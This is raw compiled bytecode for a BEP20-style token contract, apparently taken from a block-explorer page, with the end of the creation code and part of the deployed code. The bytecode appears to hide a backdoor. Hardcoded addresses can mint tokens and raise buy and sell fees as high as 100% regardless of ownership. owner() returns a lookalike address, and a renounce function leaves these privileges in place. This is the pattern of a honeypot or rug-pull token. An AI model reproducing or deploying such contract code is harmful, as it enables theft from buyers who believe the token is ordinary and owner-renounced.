e68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5f90613c36565b60405180910390fd5b6064811115610eac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea390613ca2565b60405180910390fd5b81600c8190555080600d819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051610eeb929190613cc2565b60405180910390a15050565b600081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610f7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7290613d37565b60405180910390fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561103a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103190613da3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a090613e0f565b60405180910390fd5b60006110d360646110c5600d54866130c190919063ffffffff16565b61310590919063ffffffff16565b905060006110ea828561312790919063ffffffff16565b905061113e84600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312790919063ffffffff16565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111d381600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112739190613a4e565b60405180910390a3600082111561137f576112d682600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113769190613a4e565b60405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415801561145757507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b1561164d576114eb84600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312790919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040516116449190613a4e565b60405180910390a35b6001925050509392505050565b600d5481565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116ba57600080fd5b60648211156116fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f590613c36565b60405180910390fd5b6064811115611742576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173990613ca2565b60405180910390fd5b81600c8190555080600d819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051611781929190613cc2565b60405180910390a15050565b6a0666538df89384d1f30ada73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061185e5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561185d575061182d612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b61186757600080fd5b6118718282613172565b5050565b60008054906101000a900460ff1681565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146118e257600080fd5b81600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600073e4c2caabc35480c1e90e6b559e994519535b60c573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611a085750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015611a0757506119d7612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b611a1157600080fd5b90565b600c5481565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a7657600080fd5b81600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60006a0666538df89384d1f30ada73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611b935750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015611b925750611b62612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b611b9c57600080fd5b611ba6338361332d565b60019050919050565b6000611bb96134f5565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611bf057600080fd5b611bfa33836134fa565b60019050919050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60046020528060005260406000206000915090505481565b73e4c2caabc35480c1e90e6b559e994519535b60c573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611d1b5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015611d1a5750611cea612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b611d2457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611e4157600080fd5b81600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006b1ea3f9dd39486fb87d69d43c73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611f1d57600080fd5b81600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60028054611f7490613bb9565b80601f0160208091040260200160405190810160405280929190818152602001828054611fa090613bb9565b8015611fed5780601f10611fc257610100808354040283529160200191611fed565b820191906000526020600020905b815481529060010190602001808311611fd057829003601f168201915b505050505081565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461205157600080fd5b61205b3383612ef9565b60019050919050565b600034116120a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209e90613ea1565b60405180910390fd5b60003490506000600c5411156123655760006120e160646120d3600c54856130c190919063ffffffff16565b61310590919063ffffffff16565b905060006120f8828461312790919063ffffffff16565b905061216e8160046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b60046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516122529190613a4e565b60405180910390a3600082111561235e576122b582600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516123559190613a4e565b60405180910390a35b50506124c6565b6123d98160046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b60046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516124bd9190613a4e565b60405180910390a35b50565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561251757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361255057600080fd5b6125a282600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312790919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061263782600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516126d79190613a4e565b60405180910390a36001905092915050565b6126f16134f5565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461272857600080fd5b606482111561276c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276390613c36565b60405180910390fd5b60648111156127b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127a790613ca2565b60405180910390fd5b6127ba8282613683565b7f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a182826040516127eb929190613cc2565b60405180910390a15050565b6127ff6134f5565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461283657600080fd5b6128408282613695565b5050565b600073e4c2caabc35480c1e90e6b559e994519535b60c573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806129205750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561291f57506128ef612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b61292957600080fd5b612933338361332d565b60019050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052816000526040600020602052806000526040600020600091509150505481565b6a0666538df89384d1f30ada73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612a7e5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015612a7d5750612a4d612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b612a8757600080fd5b6064821115612acb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ac290613c36565b60405180910390fd5b6064811115612b0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b0690613ca2565b60405180910390fd5b81600c8190555080600d819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051612b4e929190613cc2565b60405180910390a15050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015612c02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bf990613d37565b60405180910390fd5b6000612c2c6064612c1e600d54856130c190919063ffffffff16565b61310590919063ffffffff16565b90506000612c43828461312790919063ffffffff16565b9050612c9783600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312790919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d2c81600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612dcc9190613a4e565b60405180910390a36000821115612ed857612e2f82600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612ecf9190613a4e565b60405180910390a35b505050565b600073e4c2caabc35480c1e8e735fe7882204cea5b60c5905090565b612f01612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603612f3857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612fa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f9e90613f0d565b60405180910390fd5b612fbc8160035461314a90919063ffffffff16565b60038190555061301481600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516130b59190613a4e565b60405180910390a35050565b60008083036130d357600090506130ff565b600082846130e19190613f5c565b90508284826130f09190613fcd565b146130fa57600080fd5b809150505b92915050565b600080821161311357600080fd5b818361311f9190613fcd565b905092915050565b60008282111561313657600080fd5b81836131429190613ffe565b905092915050565b60008082846131599190614032565b90508381101561316857600080fd5b8091505092915050565b61317a612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16036131b157600080fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546132009190614032565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516132659190613a4e565b60405180910390a380600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546132bc9190614032565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516133219190613a4e565b60405180910390a35050565b613335612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff160361336c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036133db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016133d290613f0d565b60405180910390fd5b6133f08160035461314a90919063ffffffff16565b60038190555061344881600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516134e99190613a4e565b60405180910390a35050565b600090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613569576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613560906140b2565b60405180910390fd5b61357e8160035461314a90919063ffffffff16565b6003819055506135d681600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516136779190613a4e565b60405180910390a35050565b81600c8190555080600d819055505050565b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546136e49190614032565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516137499190613a4e565b60405180910390a380600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546137a09190614032565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516138059190613a4e565b60405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561384b578082015181840152602081019050613830565b60008484015250505050565b6000601f19601f8301169050919050565b600061387382613811565b61387d818561381c565b935061388d81856020860161382d565b61389681613857565b840191505092915050565b600060208201905081810360008301526138bb8184613868565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006138f3826138c8565b9050919050565b613903816138e8565b811461390e57600080fd5b50565b600081359050613920816138fa565b92915050565b6000819050919050565b61393981613926565b811461394457600080fd5b50565b60008135905061395681613930565b92915050565b60008060408385031215613973576139726138c3565b5b600061398185828601613911565b925050602061399285828601613947565b9150509250929050565b60008115159050919050565b6139b18161399c565b82525050565b60006020820190506139cc60008301846139a8565b92915050565b600080604083850312156139e9576139e86138c3565b5b60006139f785828601613947565b9250506020613a0885828601613947565b9150509250929050565b600060208284031215613a2857613a276138c3565b5b6000613a3684828501613947565b91505092915050565b613a4881613926565b82525050565b6000602082019050613a636000830184613a3f565b92915050565b600080600060608486031215613a8257613a816138c3565b5b6000613a9086828701613911565b9350506020613aa186828701613911565b9250506040613ab286828701613947565b9150509250925092565b600060ff82169050919050565b613ad281613abc565b82525050565b6000602082019050613aed6000830184613ac9565b92915050565b600060208284031215613b0957613b086138c3565b5b6000613b1784828501613911565b91505092915050565b613b29816138e8565b82525050565b6000602082019050613b446000830184613b20565b92915050565b60008060408385031215613b6157613b606138c3565b5b6000613b6f85828601613911565b9250506020613b8085828601613911565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680613bd157607f821691505b602082108103613be457613be3613b8a565b5b50919050565b7f427579206665652063616e6e6f74206578636565642031303025000000000000600082015250565b6000613c20601a8361381c565b9150613c2b82613bea565b602082019050919050565b60006020820190508181036000830152613c4f81613c13565b9050919050565b7f53656c6c206665652063616e6e6f742065786365656420313030250000000000600082015250565b6000613c8c601b8361381c565b9150613c9782613c56565b602082019050919050565b60006020820190508181036000830152613cbb81613c7f565b9050919050565b6000604082019050613cd76000830185613a3f565b613ce46020830184613a3f565b9392505050565b7f496e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b6000613d2160148361381c565b9150613d2c82613ceb565b602082019050919050565b60006020820190508181036000830152613d5081613d14565b9050919050565b7f496e73756666696369656e7420616c6c6f77616e636500000000000000000000600082015250565b6000613d8d60168361381c565b9150613d9882613d57565b602082019050919050565b60006020820190508181036000830152613dbc81613d80565b9050919050565b7f496e76616c696420726563697069656e74206164647265737300000000000000600082015250565b6000613df960198361381c565b9150613e0482613dc3565b602082019050919050565b60006020820190508181036000830152613e2881613dec565b9050919050565b7f45544820616d6f756e742073686f756c6420626520677265617465722074686160008201527f6e20300000000000000000000000000000000000000000000000000000000000602082015250565b6000613e8b60238361381c565b9150613e9682613e2f565b604082019050919050565b60006020820190508181036000830152613eba81613e7e565b9050919050565b7f42455032303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000613ef7601f8361381c565b9150613f0282613ec1565b602082019050919050565b60006020820190508181036000830152613f2681613eea565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613f6782613926565b9150613f7283613926565b9250828202613f8081613926565b91508282048414831517613f9757613f96613f2d565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613fd882613926565b9150613fe383613926565b925082613ff357613ff2613f9e565b5b828204905092915050565b600061400982613926565b915061401483613926565b925082820390508181111561402c5761402b613f2d565b5b92915050565b600061403d82613926565b915061404883613926565b92508282019050808211156140605761405f613f2d565b5b92915050565b7f436f6d70696c652052656d697820494445000000000000000000000000000000600082015250565b600061409c60118361381c565b91506140a782614066565b602082019050919050565b600060208201905081810360008301526140cb8161408f565b905091905056fea2646970667358221220fc6c4fac8cf8d23e1a40d1d95a3daca1e4b0a13793d85bf66fc7e02b003b7d0264736f6c634300081200330000000000000000000000001540e771868558d87755b16aa8ed5e0af3751a09

Deployed Bytecode

0x60806040526004361061021a5760003560e01c806370a0823111610123578063a9059cbb116100ab578063d21c8d551161006f578063d21c8d5514610828578063dd62ed3e14610853578063ddf750d014610890578063e2daf665146108b9578063e4849b32146108e45761021a565b8063a9059cbb14610731578063aa46b46e1461076e578063afacb3e514610797578063b8d815e3146107c0578063d0fb0203146107fd5761021a565b80638da5cb5b116100f25780638da5cb5b14610657578063923e51d51461068257806395d89b41146106bf57806396c5e1ab146106ea578063a6f2ae3a146107275761021a565b806370a082311461059b578063715018a6146105d8578063858ced35146105ef578063891e1ee01461062c5761021a565b80632ccb1b30116101a65780634706240211610175578063470624021461048e5780634a0af68d146104b9578063547e1edb146104f65780635ed86d5c1461053357806365f6a921146105705761021a565b80632ccb1b30146103d2578063313ce567146103fb578063376d567c146104265780633ef530eb146104635761021a565b806318160ddd116101ed57806318160ddd146102ed5780631feac75b1461031857806323b872dd146103415780632b14ca561461037e5780632c7ee946146103a95761021a565b806306fdde031461021f578063095ea7b31461024a57806312df172d1461028757806316e3b09c146102b0575b600080fd5b34801561022b57600080fd5b5061023461090d565b60405161024191906138a1565b60405180910390f35b34801561025657600080fd5b50610271600480360381019061026c919061395c565b61099b565b60405161027e91906139b7565b60405180910390f35b34801561029357600080fd5b506102ae60048036038101906102a991906139d2565b610a8d565b005b3480156102bc57600080fd5b506102d760048036038101906102d29190613a12565b610c43565b6040516102e491906139b7565b60405180910390f35b3480156102f957600080fd5b50610302610d3b565b60405161030f9190613a4e565b60405180910390f35b34801561032457600080fd5b5061033f600480360381019061033a91906139d2565b610d41565b005b34801561034d57600080fd5b5061036860048036038101906103639190613a69565b610ef7565b60405161037591906139b7565b60405180910390f35b34801561038a57600080fd5b5061039361165a565b6040516103a09190613a4e565b60405180910390f35b3480156103b557600080fd5b506103d060048036038101906103cb91906139d2565b611660565b005b3480156103de57600080fd5b506103f960048036038101906103f4919061395c565b61178d565b005b34801561040757600080fd5b50610410611875565b60405161041d9190613ad8565b60405180910390f35b34801561043257600080fd5b5061044d60048036038101906104489190613af3565b611886565b60405161045a91906139b7565b60405180910390f35b34801561046f57600080fd5b5061047861192c565b60405161048591906139b7565b60405180910390f35b34801561049a57600080fd5b506104a3611a14565b6040516104b09190613a4e565b60405180910390f35b3480156104c557600080fd5b506104e060048036038101906104db9190613af3565b611a1a565b6040516104ed91906139b7565b60405180910390f35b34801561050257600080fd5b5061051d60048036038101906105189190613a12565b611ac0565b60405161052a91906139b7565b60405180910390f35b34801561053f57600080fd5b5061055a60048036038101906105559190613a12565b611baf565b60405161056791906139b7565b60405180910390f35b34801561057c57600080fd5b50610585611c03565b6040516105929190613b2f565b60405180910390f35b3480156105a757600080fd5b506105c260048036038101906105bd9190613af3565b611c29565b6040516105cf9190613a4e565b60405180910390f35b3480156105e457600080fd5b506105ed611c41565b005b3480156105fb57600080fd5b5061061660048036038101906106119190613af3565b611de5565b60405161062391906139b7565b60405180910390f35b34801561063857600080fd5b50610641611e8b565b60405161064e9190613b2f565b60405180910390f35b34801561066357600080fd5b5061066c611eb1565b6040516106799190613b2f565b60405180910390f35b34801561068e57600080fd5b506106a960048036038101906106a49190613af3565b611ed7565b6040516106b691906139b7565b60405180910390f35b3480156106cb57600080fd5b506106d4611f67565b6040516106e191906138a1565b60405180910390f35b3480156106f657600080fd5b50610711600480360381019061070c9190613a12565b611ff5565b60405161071e91906139b7565b60405180910390f35b61072f612064565b005b34801561073d57600080fd5b506107586004803603810190610753919061395c565b6124c9565b60405161076591906139b7565b60405180910390f35b34801561077a57600080fd5b50610795600480360381019061079091906139d2565b6126e9565b005b3480156107a357600080fd5b506107be60048036038101906107b9919061395c565b6127f7565b005b3480156107cc57600080fd5b506107e760048036038101906107e29190613a12565b612844565b6040516107f491906139b7565b60405180910390f35b34801561080957600080fd5b5061081261293c565b60405161081f9190613b2f565b60405180910390f35b34801561083457600080fd5b5061083d612962565b60405161084a9190613b2f565b60405180910390f35b34801561085f57600080fd5b5061087a60048036038101906108759190613b4a565b612988565b6040516108879190613a4e565b60405180910390f35b34801561089c57600080fd5b506108b760048036038101906108b291906139d2565b6129ad565b005b3480156108c557600080fd5b506108ce612b5a565b6040516108db9190613b2f565b60405180910390f35b3480156108f057600080fd5b5061090b60048036038101906109069190613a12565b612b80565b005b6001805461091a90613bb9565b80601f016020809104026020016040519081016040528092919081815260200182805461094690613bb9565b80156109935780601f1061096857610100808354040283529160200191610993565b820191906000526020600020905b81548152906001019060200180831161097657829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a7b9190613a4e565b60405180910390a36001905092915050565b73e4c2caabc35480c1e90e6b559e994519535b60c573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610b675750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610b665750610b36612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5